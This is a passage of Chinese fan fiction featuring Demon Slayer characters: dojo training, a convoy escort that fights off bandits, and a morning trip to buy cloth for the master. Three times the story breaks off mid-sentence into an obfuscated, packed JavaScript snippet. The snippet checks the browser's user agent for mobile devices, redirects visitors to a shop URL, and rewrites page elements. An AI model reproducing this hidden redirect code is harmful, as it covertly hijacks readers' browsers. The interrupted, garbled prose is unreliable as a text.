他示范了一个侧滑步接挥斩的动作,快而轻,像一阵风吹过:“昨天也和你说过了,镰刀的弧线是优势,你要学会利用这个弧线——顺着弧线‘带’过去,借力打力。不过这也不是一天两天就能学会的事情,每天都练,学会的事情自然水到渠成。” 妓夫太郎跟着庆藏师父的动作学。一次,两次,三次…每一次调整,每一次尝试,每一次冲突,他都能感觉到身体和镰刀之间那种微妙的共鸣越来越强。 三个孩子终于熬过了马步时间,开始复习步法。经过这些天的练习,他们的动作已经像模像样了。虽然还是免不了磕磕绊绊,但至少不会动不动就摔成一团。 顺一则继续练习基本功。这次庆藏师父走过去,让他先修整一下。 庆藏师父的手轻轻按在他的小腿上:“这里,感觉到了吗?蹲马步的时候肌肉在用力。但是也不能一味地用力,要学会平衡每一处肌肉。” “是、是!”顺一的声音因为刚刚的用力而有些发颤,但眼神亮得惊人。 晨光渐渐亮起来,把每个孩子脸上的汗水都照得晶亮。 主屋里,恋雪放下了针。 “小梅,来试试。”她拿起改好的衣服,展开。 那是一件浅蓝色的练功服,袖子改短了,衣摆也收窄了,袖口和裤脚都用同色的布条细细地收了口,既不会妨碍动作,又显得利落精神。 小梅迫不及待地换上。衣服很合身,料子柔软,穿着很舒服。她在原地转了个圈,又蹦蹦跳跳了几下,说:“恋雪姐姐!好看吗?” “好看。”恋雪笑着帮她整理衣领,“我们小梅穿什么都好看。” 小梅低头看着身上的衣服,忽然说:“恋雪姐姐,我一定会好好练习的。等我变厉害了,之后就能打跑那些欺负你的坏人啦!” 恋雪愣了一下,随即眼眶微微发热。她蹲下身,轻轻抱住小梅:“好,那我就等着小梅保护我啦,我们的小梅女侠!” 小梅用力回抱她,声音闷在恋雪肩头:“嗯!我一定会的!” 晨练结束的声音响起时,厨房里已经飘出饭香。 狛治今天煮粥时,特地在米里加了红枣和桂圆——福泽医师开的食补方子上写着这两样东西。锅里咕嘟咕嘟地冒着泡,红枣的甜香和桂圆的醇香混在一起,光是闻着就让人心里暖洋洋的。 他又炒了一盘菠菜,翠绿的菜叶在锅里翻炒,很快变得油亮亮。方子上说,菠菜也能补血。 早饭摆上桌时,小梅还穿着那件新改的练功服,舍不得换下来。 她端起粥碗,深深吸了口气:“好香啊!” 庆藏尝了一口粥,点点头:“狛治有心了。这粥煮得好,红枣和桂圆都煮透了,甜味都进到米里了。” 狛治“嗯”了一声,没说什么,只是给恋雪盛了一碗,又往她碗里多舀了几颗红枣。 恋雪的脸微微泛红,小声说“谢谢狛治先生”。 妓夫太郎也给小梅夹了一筷子菠菜:“小梅多吃点,医师说这个对身体好。” “嗯!”小梅用力点头,大口大口地吃起来。 饭后,碗筷撤下,恋雪拿出了识字书。 今天学的是“武”字。 恋雪在纸上写下这个字,然后轻声解释:“‘武’字,上面是‘戈’,代表武器;下面是‘止’,代表停止。所以‘武’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920673|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的真正意义,不是用来争斗,而是用来止息争斗,守护和平。” 小梅听得似懂非懂,但她记住了“守护”这个词。 “就像哥哥练武,是为了保护我一样吗?”她说。 “对。”恋雪温柔地摸摸她的头,“就像狛治先生练武,是为了保护道场和大家;父亲教武,是为了让更多人学会保护自己珍视的东西。” 狛治坐在一旁,手里也拿着笔。他会认的字不少——父亲在世时教过一些,后来流浪时也自己学过一些。 但真正提笔写字的机会不多。此刻他握着笔,在纸上笨拙地写下“狛治”两个字。 笔画歪斜,结构松散,不过比昨天写得要好很多了。 妓夫太郎也在旁边练字。他写得慢,每一笔都用力。他写的是“素流”——这两个字他已经在练功带上见过无数次,但真正写出来,感觉还是不一样。 庆藏师父也在一旁拿着另一本识字书翻看,时不时地拿起手边的茶喝上一口。 时间就在书页翻看的轻响和笔尖的沙沙声中悄悄溜走。 快到午饭时,道场外传来了陌生的脚步声。 一个穿着体面的中年男人站在门口,身后还跟着两个伙计打扮的人。男人见到庆藏,恭敬地行礼:“请问,是素流道场的庆藏师父吗?” 庆藏迎上去:“正是。请问您是…?” “鄙人姓田中,是邻镇的商人。”男人自我介绍,“这次来,是想请道场帮忙护送一批货物。” 他解释道,自己有一批比较贵重的货物要运到邻镇,向镇上的人打听后,很多人都推荐素流道场——不仅武术好,之前也有过护卫的经验,信誉很好。 “好,我大致了解了。请问大概需要几个人?什么时辰能送到?”庆藏问。 “两个人就足够了。”田中商人说,“我自己也带了些人手,只是需要道场的师父们帮忙押阵,以防万一。顺利的话,傍晚就能到邻镇。如果太晚,我会安排食宿,这方面您请不必担心。” 庆藏沉吟片刻,转头看向狛治和妓夫太郎:“你们两个去,可以吗?狛治有经验,太郎也学了有些时日了,正好借此机会锻炼一下。” 他又对商人说:“这是我的两个弟子。大弟子狛治有过好几次护卫经验,二弟子太郎也跟着我学了一段时间。如果您满意,就让他们去,如何?” 田中商人打量了一下狛治和妓夫太郎——一个沉稳干练,一个眼神锐利,都是靠谱的样子。他点点头:“好,那就麻烦二位了。我这就回去叫人整理货物,稍后会派人来通知出发时间。” 送走商人,众人回到饭桌前继续吃饭。 庆藏端起茶杯,对狛治和妓夫太郎说:“这次护卫的费用,你们俩自己拿着。” 两人都愣住了。 “师父,这…”狛治想说什么。 庆藏摆摆手:“听我说完。你们两个啊,平时总是先想着恋雪、小梅,还有我这个老头子,把自己放在最后。这次的钱,你们拿着,买点自己喜欢的,不用再当作道场的收入了。” 妓夫太郎摇头:“师父,我们住在道场,吃穿用度都是您…” “一家人不说两家话。”庆藏打断他,语气温和却坚定,“正因为是一家人,才不能总让你们吃亏。狛治照顾恋雪这么久,从来没提过要什么;太郎你也是,有什么好的都先想着小梅。这次就听我的,收下。” 恋雪也轻声劝道:“狛治先生,太郎,父亲说得对。平时总是你们照顾我们,这次就收下吧。” 小梅虽然不太明白具体怎么回事,但也跟着说:“狛治哥哥,哥哥,你们就收下嘛!” 狛治和妓夫太郎对视一眼,终于点了点头。 “谢谢师父。”两人齐声说。 庆藏笑了:“这才对。赶紧吃饭,下午还要去护卫呢。” 18.练武与护卫(中) 午后,道场的院子里又热闹起来。 三个孩子和顺一已经排好队,等着庆藏来上课。顺一站得笔直,目光专注;宗之介和竹雄小声说着什么,健太则偷偷打了个哈欠。 就在这时,一个小小的身影出现在廊下。 小梅穿着那件浅蓝色的练功服,袖口处还绣着几朵小小的梅花,针脚细密,看得出绣的人很用心。她有些紧张地捏着衣角,但眼神里满是兴奋的光。 “小梅姐姐?”宗之介第一个注意到她,眼睛睁得圆圆的,“你也来上课吗?” “嗯!”小梅用力点头,声音清脆,“庆藏师父说,我可以从最简单的开始学!” 竹雄凑近了些,小声说:“小梅姐姐的衣服真好看。袖子上有花。” 健太挠挠头,脸上露出困惑的表情:“可是练武很累的,小梅姐姐你不怕吗?我们扎马步的时候,腿可酸了。”他说着还夸张地揉了揉自己的大腿。 “不怕!”小梅挺起小胸脯,神情坚定,“我要变厉害,保护大家!” 这话从一个小女孩嘴里说出来,本该让人觉得好笑,但三个孩子却都认真地点了点头。 他们见过小梅刚来道场时的样子——瘦小、虚弱。现在她站在阳光下,眼睛亮晶晶的,像换了个人。 顺一左右看了看,疑惑地问:“庆藏师父,今天狛治哥和太郎哥怎么不在?” 庆藏师父正好从主屋走出来。他穿着白色的练功服,头发在脑后扎了个小髻。 听见顺一的问话,他简单解释了一句:“他们有事出门了。”然后拍拍手,“好了,开始上课。今天我们先复习步法。” 在廊下靠近主屋的地方,恋雪正坐在那里看书。她特意选了这个位置——既能晒到午后的暖阳,又能随时看到院子里的情况。 膝上摊开的是一本线装的《万叶集》,纸张已经泛黄,书页边缘有细小的破损,但保存得很仔细。这是母亲留下来的书。 阳光透过廊檐,在她身上投下斑驳的光影。她今天穿了一件浅紫色的和服,外罩一件淡粉色的羽织,头发松松地挽在脑后。偶尔有风吹过,几缕碎发拂过脸颊,她便轻轻将它们拢到耳后。 她翻过一页,目光却不时从书页上抬起,望向院子里的小梅。 小梅站在队伍末尾。她的动作还有些笨拙,站姿也不够标准,但学得很认真。 庆藏特意给她安排了最基础的动作——只是简单的抬腿、落脚,练习平衡和协调。其他孩子练习完整的步法组合时,小梅就在旁边一遍遍地重复这个最基本的动作。 “小梅,抬头,看前面。”庆藏走到她身边,蹲下身,让自己的视线和她齐平,“对,就这样。不用急,慢慢来。” 小梅照做,她做的每一个动作都很标准,虽然慢,但很稳。她的额头上很快渗出了细密的汗珠,但她没有停,只是用袖子擦了擦,继续练习。 三个孩子看着,也不再嬉闹,认真地练习起来。连平时最爱偷懒的健太,今天也格外卖力。他偷偷瞥了一眼小梅,心里想:总不能输给小梅姐姐吧? 顺一则继续练习马步还有其他的一些基础动作。经过几天的调整,他的姿势已经标准了许多,虽然左腿还是有些不稳,但至少能坚持更长时间了。 庆藏走到他身边,伸手按了按他的肩膀:“放松些,顺一,太用力反而容易累。” “是,师父。” 恋雪看着院子里的一切,嘴角不自觉地扬起温柔的弧度。她翻到《万叶集》中一首关于春天的和歌: “春されば まず咲く宿の梅の花 独り見つつや春日暮らさむ” (春来庭院里,梅花最先开;独赏此花时,春日如何度) 她的目光在“梅”字上停留了片刻,抬眼看向院子里那个小小的身影。 小梅,梅。这个名字真是贴切啊,在严冬之后第一个绽放,带来春天的消息。 就在这时,小梅一个没站稳,踉跄了一下差点摔倒。她“啊”地轻呼一声,小脸涨得通红。 恋雪下意识地放下书,想要起身。但庆藏已经先一步走了过去。 “没事吧,小梅。”庆藏的声音温和而沉稳,“刚开始都是这样。来,再试一次,注意重心放在前脚掌。” 小梅点点头,深吸一口气,重新开始。 恋雪松了口气,重新坐好,但书已经看不进去了。她索性将书合上放在膝上,专注地看着院子里的孩子们。 庆藏轮流指导每个人,耐心地纠正动作,讲解要领。 阳光暖暖地照在院子里,把每个人的影子都拉得短短的。 而此时,狛治和妓夫太郎已经跟着商队出发了。 货物装在两辆马车上,用防水的油布盖得严严实实,绳子捆得结实。田中商人自己骑着一匹马,他身边跟着四个伙计,都是精壮的小伙子,手里拿着长短不一的棍棒。 狛治和妓夫太郎走在车队两侧,一左一右,保持着既能看到前方又能互相照应的距离。 狛治的步伐沉稳,目光锐利地扫视着道路两侧;妓夫太郎则略显紧张,一只手始终虚按在腰间的镰刀上——庆藏师父说,护卫的时候最好别把武器拿在手上,以免显得太有敌意,但也要保证随时能拔出来。 这是他第一次离开妹妹这么远。心里有种说不出的空落感,像少了什么重要的东西。早上出门时,小梅还抱着他,小声问:“哥哥什么时候回来?” “明天就回来。”他摸摸她的头,“乖乖听恋雪姐姐和庆藏师父的话。” 小梅用力点头,眼圈却红了。她一直送到门口,直到他们的身影消失在街角。 “紧张吗?”狛治的声音从旁边传来,打断了妓夫太郎的思绪。 妓夫太郎愣了一下,老实点头:“有点,这是梅出生以来,我第一次没在她身边。” 狛治“嗯”了一声,沉默了一会儿,说:“我第一次出护卫的时候,也很紧张。” 妓夫太郎看向他。狛治的脸上没什么表情,但眼神里有一丝难得的温和。 “那时候才跟师父学了不到半年。”狛治看着前方的路,像在说别人的事,“师父接了个护卫的活,让我跟着去。我整晚没睡好,早上出发时,手心全是汗。” 他顿了顿,似乎在回忆:“路上真的遇到了劫道的。三个人,拿着棍棒。我当时脑子一片空白,差点忘了怎么出拳。 是师父挡在我前面,一边对付那些人,一边低声指导我——‘狛治,左边!’‘注意脚下!’‘呼吸别乱!’” “后来呢?”妓夫太郎问。 “后来打跑了。”狛治说,“回去的路上,师父没骂我,只是说,第一次都这样。多练几次,就好了。” 他看向妓夫太郎:“现在家里很安全。恋雪和小梅在一起,师父也在。你不用太担心。” 妓夫太郎点点头,心里那股空落感似乎轻了一些。他深吸一口气,强迫自己把注意力集中在路上。 出了镇子,道路变得崎岖起来。两旁是连绵的丘陵和稀疏的树林。 冬日的树木只剩下光秃秃的枝桠,在寒风里轻轻摇晃,发出呜呜的响声。路面上还有些残雪,被车轮和马蹄碾过,变成脏兮兮的泥泞。 阳光斜斜地照下来,把人和马的影子拉得很长。路边的积雪已经化得差不多了,只剩下背阴处还有一些残雪,在阴影里白得刺眼。 走了大概半个多时辰,前面是一片更密的树林。道路从林中穿过,光线一下子暗了下来。 田中商人勒住马,回头对狛治说:“狛治先生,这片林子以前出过事,咱们小心点。” 狛治点头,对妓夫太郎使了个眼色。两人一前一后,把车队护在中间。狛治走在前头,妓夫太郎殿后,这样无论从哪个方向来敌,都有人能及时反应。 林子里的空气明显更冷。风吹过树梢,发出低低的呼啸声。伙计们也都紧张起来,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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几乎同时,另外两个人从两侧攻来。狛治不退反进,矮身从两人中间穿过,回身两记手刀砍在对方后颈。动作干净利落,两人应声倒地。 妓夫太郎这边,三个人围着他。他握着镰刀,呼吸有些急促,但手很稳。庆藏师父的话在脑海里回响:“镰刀的优势在于弧线攻击,不要跟人硬拼,要用巧劲。” 一个人挥着棍子砸来,妓夫太郎不退,反而迎上去,镰刀一勾一拉,用刀背卡住棍子,顺势一带。那人失去平衡向前扑,妓夫太郎侧身让过,镰刀柄敲在他膝盖后方。那人惨叫着跪倒在地。 另外两个人对视一眼,同时攻来。妓夫太郎深吸一口气,身体旋转,镰刀划出一个完整的圆弧。刀刃在离对方脖子只有寸许的地方停住,刀背则重重敲在两人肩上。两人痛呼后退。 田中商人和伙计们也没闲着,护住马车,用棍棒驱赶试图靠近的人。有个劫匪想从侧面爬上马车,被一个伙计一棍子打在手上,惨叫滚落。 战斗结束得很快。那几个劫道的本来就不是什么高手,只是仗着人多势众。见狛治和妓夫太郎身手了得,剩下的两人对视一眼,转身就跑,连倒在地上的同伴都不管了。 狛治没有追。他站在原地,扫视了一圈。地上躺着五个人,三个昏迷,两个在呻吟。他走到那个为首的大汉身边,蹲下身检查了一下——手腕肿了,但骨头没断。 “为什么干这个?”狛治问。 大汉疼得龇牙咧嘴,却硬气地说:“要杀就杀,废什么话!” “我们不是来杀人的。”狛治站起来,“但下次再让我看见你劫道,就不会这么客气了。” 他转身走向车队。田中商人惊魂未定,连连道谢:“多亏了二位!多亏了二位!要不是你们,我这批货就悬了!” “分内之事。”狛治淡淡地说,目光扫过四周,“这里不宜久留,赶紧出发为上。” 他走到妓夫太郎身边,低声问:“没事吧?” 妓夫太郎摇摇头,手还在微微发抖——是兴奋过后的反应。他看着地上的劫匪,又看看手里的镰刀,第一次真切地感受到自己拥有保护他人的力量。 “做得不错。”狛治说,“镰刀用得很准,没伤人要害。” 这句简单的夸奖让妓夫太郎心里一暖。他点点头,没说话,但握镰刀的手更稳了。 19.练武与护卫(下) 道场里,夕阳开始西斜。 庆藏拍拍手:“好了,今天就到这里。第一次练习,不能太累。” 小梅抬起头,额前的刘海被汗水打湿了,贴在皮肤上。“可是…庆藏师父,我还没练好…” “练武不是一天两天的事。”庆藏说,“慢慢来,坚持才是最重要的。庆藏师父还能骗你不成,今天先到这里,明天再继续练。” 三个孩子也停了下来,宗之介一屁股坐在地上,嚷嚷着:“好累啊!”竹雄则在一旁慢慢地走动,缓解肌肉的酸痛。健太凑到小梅身边:“小梅姐姐,你累不累?” 小梅用力摇头:“不累!” 但话音刚落,她就打了个哈欠。 恋雪笑了。她放下书,站起身,拍了拍和服下摆。“孩子们,来喝点水,休息一下吧。” 她走进主屋,不一会儿端出一个托盘,上面放着几个竹杯和一小壶麦茶。麦茶是早上煮好的,现在还是温的。 “恋雪姐姐!”小梅第一个跑过来。 “慢点,别摔着。”恋雪倒了一杯茶递给她,“小心烫。” 小梅捧着杯子,小口小口地喝着。三个孩子也围过来,接过恋雪递来的茶水,咕咚咕咚喝起来。 顺一最后一个走过来,接过茶杯时微微躬身:“谢谢恋雪小姐。” “不客气。”恋雪说,“顺一君进步很大呢。” 顺一低下头:“还差得远。” 庆藏也走了过来,恋雪递给他一杯茶。“父亲,辛苦了。” 庆藏接过,喝了一口,目光扫过院子里休息的孩子们。“小梅很有韧性,也是个好苗子。” “随她哥哥。”恋雪轻声说。 两人站在廊下,看着院子里。小梅已经和三个孩子玩起来了,他们在玩一种简单的拍手游戏,笑声回荡在院子里。 “太郎他们,应该快到了吧。”恋雪忽然说。 庆藏看了看天色:“嗯,如果顺利的话,现在应该已经在邻镇安顿下来了。” “第一次出远门,太郎一定很担心小梅。”恋雪说,“就像父亲第一次让狛治出去护卫时,我也很担心一样。” 庆藏看了女儿一眼:“那时候你躲在门后,以为我没看见。” 恋雪脸微微一红:“父亲看见了?” “当然。”庆藏说,“你母亲去世后,你就是我最牵挂的人。狛治那孩子虽然倔,但责任心强,我知道他会保护好你。” 恋雪低下头,手指摩挲着和服的袖口。袖口处绣着细细的藤蔓花纹,是母亲生前绣的。 “现在又多了一个要牵挂的人。”庆藏看向小梅,“不,是两个。” 恋雪顺着父亲的目光看去。小梅正拉着健太的手,教他玩一种新的拍手游戏。 “他们会好好的。”恋雪轻声说,“因为这里有家。” 另一边,车队走出林子时,天色已经有些暗了,西边的天空泛起橘红色的晚霞。因为耽搁了时间,到达邻镇时,天已经完全黑了下来。 镇口的灯笼已经点亮,昏黄的光在寒风里摇曳,把守夜人的影子拉得老长。 镇子比他们来的地方要大很多,街道也更宽,但很干净。街道上各式各样的店铺鳞次栉比,但是这个时间,大多数店铺已经关门,只有几家旅店和酒馆还亮着灯。 田中商人熟门熟路地领着车队来到一栋两层木楼前,招牌上写着“清水屋”——那是收货的商铺。老板是个精瘦的中年人,留着两撇小胡子,见到车队来了,连忙迎出来。 “田中先生,可算到了!我还担心呢,听说路上不太平。” “确实遇到了点麻烦。”田中商人下马,“多亏了这二位护卫。” 老板看了看狛治和妓夫太郎,拱手道谢:“辛苦二位了。快请进,喝杯热茶暖暖身子。” 货物很快卸下来,搬进仓库。田中商人和老板进屋结账,狛治和妓夫太郎在外面等着。夜风很冷,妓夫太郎把衣领拢了拢,呵出的气在空气中变成白雾。 过了一会儿,田中商人出来了,脸上带着笑,显然交易顺利。他走到狛治面前,递过一个钱袋:“这是说好的报酬。” 又拿出另一个小一些的钱袋,“今天要不是二位,我这批货就悬了。这些是额外的谢礼,还请收下。” 狛治推辞:“我们已经收过报酬了。” “这是我的心意。”田中商人坚持,“二位身手了得,又讲道义。以后我要是还有货要送,还想请二位护卫。” 狛治推辞不过,只好收下。商人又安排他们在一家干净的旅店住下,准备了晚饭。旅店叫“松之汤”,不大,但很整洁。 老板娘是个和善的中年妇人,见他们风尘仆仆,特意多打了一桶热水让他们梳洗。 房间是相邻的两间,狛治和妓夫太郎各自回房。房间很小,只有一张床、一张桌子和一个衣柜,但收拾得很干净。被褥蓬松,带着阳光的味道。 妓夫太郎放下行李,第一件事就是检查镰刀——刀刃没有卷,只是沾了些泥土。他小心地擦干净,放在枕边。然后才脱掉外衣,用老板娘送来的热水擦洗身体。 热水擦过皮肤,带走了一天的疲惫和紧张。 晚饭是简单的定食:米饭、味噌汤、烤鱼和腌菜。热气腾腾的。 狛治和妓夫太郎在楼下的小饭厅吃饭,其他桌还有几个住客,低声交谈着。 吃完饭,妓夫太郎回到房间,坐在窗边看着外面的夜色。邻镇的灯火星星点点,和家所在的镇子不太一样。他想念道场的灯光,想念主屋里庆藏师父泡茶时飘出的香气,想念小梅的笑声。 门外传来叩门声。 “进来。” 狛治推门进来,手里拿着一壶茶和两个杯子。“睡不着?”他问,在桌边坐下。 妓夫太郎点头:“有点…在想小梅现在在做什么。” 狛治倒了两杯茶,递给他一杯:“应该已经睡了。恋雪会照顾好她的。”他顿了顿,补充道,“小梅很懂事,不会闹。” 妓夫太郎接过茶杯,温热的触感从掌心传来。他低头看着杯中晃动的茶水,茶叶在杯底缓缓舒展。 两人沉默了一会儿。房间里很安静,能听见窗外隐约的风声,还有楼下老板娘收拾碗碟的声音。隔壁房间传来住客的鼾声,平稳而绵长。 “今天…谢谢。”妓夫太郎忽然说。 狛治抬眼看他。 “谢谢狛治哥你对我说的那些话。”妓夫太郎的声音低低的,但很清晰,“还有…谢谢你一直以来的照顾。从我和小梅来到道场,你就一直在帮我们。” 狛治喝了口茶,半晌,才说:“一家人,不用说这些。” 窗外,月亮升起来了,不算很亮,但很清澈。月光透过窗纸洒进来,在地板上投下模糊的光影,像水波一样轻轻晃动。 道场那边,此刻应该也已经安静下来了。小梅大概正抱着那只猫咪布偶,睡得香甜;恋雪或许还在小梅旁边灯下看书或者做些针线活;庆藏师父应该在主屋喝茶,看着院子里的月光,想着出门在外的弟子。 而他们在这里,完成了第一次共同的护卫任务。 妓夫太郎握了握拳,掌心还残留着白天握镰刀时的触感。 “狛治哥。”他忽然说,抬起头,“以后…我想变得更强。” 狛治看着他,点点头:“嗯。” “强到能保护所有人。”妓夫太郎的声音更坚定了,“保护小梅,保护道场,保护…这个家。” “那就好好练。”狛治说,“日子还长。” 他站起来,走到窗边,月光照在他的脸上。“师父说过,练武不是为了打架,是为了保护想保护的东西。你现在有了想保护的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个道场,曾经冷清了那么多年。恋雪的母亲去世后,这里就只剩下他和女儿。后来狛治来了,像一块石头投入平静的湖水,激起了涟漪。然后是妓夫太郎和小梅,像两株在石缝里挣扎生长的小草,硬是撑出了一片生机。 现在,这里又有了笑声,有了孩子的打闹声,有了清晨练功的呼喝声。 它又活过来了。 庆藏端起茶杯,轻轻抿了一口。茶已经凉了,但他不在意。他的目光穿过庭院,望向远方的夜空。 狛治和妓夫太郎,此刻应该已经安全到达邻镇了吧。不知道任务顺不顺利,有没有遇到麻烦。不过有狛治在,应该没问题。那孩子已经能独当一面了。而太郎…那孩子有天赋,更重要的是,有想要变强的理由。 月光静静流淌,像无声的河水,连接着远方的旅人和等待的家。 恋雪回到自己的房间,但没有立刻躺下。她走到窗边,推开窗户。夜风带着凉意吹进来,却让人神清气爽。 她望着夜空中的月亮,在心里轻声说: “狛治先生,太郎,一路平安。家里一切都好,小梅很乖,父亲也很健康。明天,等你们回家。” 然后她关上窗户,躺进被窝。被褥里有阳光晒过的味道,温暖而踏实。 明天,又是新的一天。 而家,永远在这里等着归人。 而在旅店的房间里,妓夫太郎翻了个身,手轻轻放在枕边的镰刀上。金属的冰凉透过布条传来,却让他感到安心。 明天,他们就会回去。 回到那个温暖的道场,回到等待他们的家人身边。 他闭上眼睛,终于沉沉睡去。 梦里,他看见小梅穿着那件浅蓝色的练功服,在阳光下认真地练习步法。她的身影小小的,但很坚定。而他就站在她身边,握着镰刀,守护着这片阳光。 20.秘密的礼物① 天刚蒙蒙亮,“松之汤”旅店后院的公鸡还没打鸣。只有几缕早起的晨光透过纸窗,将房间映得微亮。 狛治起身时动作很轻。他推开自己房间的拉门,正巧看到隔壁的纸门也被轻轻拉开——妓夫太郎也几乎同时起来了。 两人对视一眼,无需多言,便开始默契地收拾各自的行装。狛治将换下的衣物叠好,妓夫太郎则用布将那对镰刀仔细裹紧。田中商人给的报酬被小心地分装在两人贴身的衣袋里。 临出门前,狛治像是想起什么,转身走向柜台。值夜的伙计正打着哈欠擦拭桌面,狛治冲他点了点头:“辛苦。田中先生应该已结清了房费,我们这就走了。” “是是,田中先生昨晚都安排妥了。”伙计连忙欠身,“二位慢走,路上当心。” 老板娘原本在后厨忙碌,灶上锅里的米粥咕嘟作响,香气已隐隐飘出。听见前厅交谈的动静,她擦了擦手,撩开布帘走了出来。 “二位客人起得真早。”老板娘笑容和蔼,“早饭马上就好,我这粥熬得正是火候,米粒都开花了。外头天寒地冻的,不妨喝碗热粥再赶路吧?暖暖身子,走路也有劲。” 狛治礼貌地欠身:“多谢老板娘好意。我们急着回去,就不多叨扰了。” “哎呀,这说的什么话。”老板娘连忙摆手,语气真诚,“不过是一碗粥的事,不费什么功夫。你们昨天护卫辛苦,又起这么早,空着肚子上路怎么行? 我家那口子以前也常赶早路,我最知道,热食下肚和冷风灌肠,那感觉可差远了。” 妓夫太郎也轻声道:“真的不用了,老板娘,我们…” “别客气别客气,”老板娘打断他,脸上是近乎执拗的善意,“我看你们年纪也不大,出门在外更要照顾好自己。等着啊,就一会儿,粥马上就来,配点我自家腌的小菜,爽口!” 说着,不等两人再推辞,她已经转身快步走回后厨,脚步声轻快。 狛治和妓夫太郎对视一眼,都有些无奈,但老板娘的热情真挚得让人难以硬生生拒绝。狛治微不可察地叹了口气,低声道:“真是盛情难却啊。” “嗯。是啊…”妓夫太郎点头。 他能感觉到老板娘话语里那份朴素的关怀,就像…就像道场里清晨那碗总是温热适宜的粥一样。 不一会儿,老板娘端着一个木托盘出来了,上面是两碗冒着腾腾热气的白粥,米汤浓稠,米粒软烂。 旁边还有一小碟切得细细的酱萝卜和两小碟嫩黄的腌白菜,看着清爽可口。 “来来,快坐下吃。”老板娘将托盘放在他们刚才坐过的桌上,“趁热吃,暖到胃里就舒坦了。” “实在是…太感谢您了。”狛治郑重地道谢,和妓夫太郎在桌边重新坐下。 粥很烫,需要小口吹着喝。但一口温热绵软的米粥下肚,确实瞬间驱散了清晨的寒意和残余的疲惫。老板娘自家腌的小菜也咸淡适中,清脆爽口。 老板娘站在一旁,看着他们吃,脸上露出满足的笑容,像是看着自家孩子吃上热乎饭一样。 “这就对了嘛。出门办事,平安回去最重要,身子骨可是本钱。” 狛治咽下一口温热的粥,趁着老板娘还在近旁,便顺势开口问道:“老板娘,还想向您打听个事。这镇子上,您可知道哪家布料铺子信誉好,料子扎实些?” “布料铺子?”老板娘略感意外,随即了然,“是想给家里人捎点布料回去?是给长辈做衣服,还是…” 一旁的妓夫太郎放下粥碗,轻声补充:“是想给我们师父做件新羽织。师父平日习武,衣服磨损得快。” “给师父做啊!”老板娘眼睛一亮,脸上的笑容更深了,还带着几分赞许,“真是孝顺又有心的徒弟。我们镇上的布店倒是有几家,不过啊…” 她压低了点声音,像是分享什么经验之谈,“镇中心那几家,门面亮堂,花样也多,但料子未必都实在,价钱也偏高。要是真想找又结实耐用、价钱又公道的…” 她顿了顿,似乎在回想,然后肯定地说:“那得去城东的藤吉屋。老板藤吉先生做了几十年布料生意,眼光准,人也厚道。 他家的棉布尤其好,厚实,透气,染得也牢。就是铺子位置偏了点,从咱这儿过去,得好好走上一段路呢。” 狛治认真记下:“城东,藤吉屋。多谢您指点。” “不客气不客气。”老板娘摆摆手,“你们有心给师父置办,我这不过是指个路。藤吉掌柜人不错,你们去了就说是松之汤的老板娘介绍的,他准给你们挑好的。” “谢谢老板娘。”妓夫太郎也道了谢。这份来自陌生人的热心指点,让寻找布料这件事,从一开始就蒙上了一层温暖的底色。 两人不再多话,安静而迅速地吃完了剩下的粥和小菜。热食下肚,身体从内到外都暖了起来,连清晨赶路的最后一丝疲惫似乎也被驱散了。 “多谢款待,粥和小菜都非常美味。”狛治放下碗,再次认真道谢。 “老板娘,谢谢您。”妓夫太郎也低声说,这次道谢里包含了更多的含义。 “喜欢就好,喜欢就好。”老板娘笑呵呵地收着碗碟,“路上小心,以后要是再来邻镇,记得还来我们松之汤啊。” “一定。”狛治点头。 两人辞别了热情的老板娘,走出旅店。外头的天色又亮了一些,清冷的空气扑面而来,但因为那碗热粥,身体里已蓄起足够的暖意。 他们先路过了镇中心那几家布店,撩开帘子进去粗粗看了几眼:要么料子华贵得扎眼,要么花色沉闷手感粗硬。彼此对视一眼,便继续朝着老板娘说的藤吉屋寻去。 两人沿着镇上的主干道往东走,街道渐窄,房屋也朴素起来。走了好一阵,终于在一处僻静的街角看到了“藤吉屋”那块朴素的招牌。 “藤吉屋”的铺面不大,木招牌被岁月磨得温润,门楣上悬着一枚小小的铜铃。 推门时“叮铃”一声脆响,店内干燥温暖的棉麻气息扑面而来。 一个瘦高身影正背对着门口整理布匹,闻声回头,是位面貌和善的中年人。“欢迎光临。” 他拍了拍手上并不存在的浮灰,笑容温和,“二位瞧着面生,可是第一次来?” 狛治上前说明来意:“您好,是松之汤的老板娘介绍我们来的。老板娘她说您这里的布料质量上乘,特地推荐我们来这里。” “哦?是玉子老板娘的客人啊。”藤吉老板的笑容更真切了几分,放下了手中的软布,“她总是这么热心。两位是想看看什么料子?是要给家里夫人做和服,还是…?” 狛治和太郎闻言,脸一下就红了,二人连忙摆手说,“不是的,不是给夫人…我们是想,想为习武的师父裁一件日常穿的羽织。” “这样啊,习武之人的话…”藤吉老板沉吟片刻,走到一侧货架,指尖划过几匹布,最终抽出一匹深灰色棉布,“您摸摸这个?织得密,透气,久穿也不易变形。” 妓夫太郎走上前伸手抚过布面,触感确实柔软扎实。他犹豫了一瞬,抬眸问道:“老板…这儿有没有深蓝色的布料?” 问出这话时,他想起几天前那个安静的午后。那时他帮庆藏师父收拾完道场,鼓足勇气问:“师父,您有没有特别喜欢的颜色?” 庆藏当时正擦拭木刀,闻言愣了一下,随即朗笑起来:“怎么想起问这个?我这岁数,穿什么不都一样。” 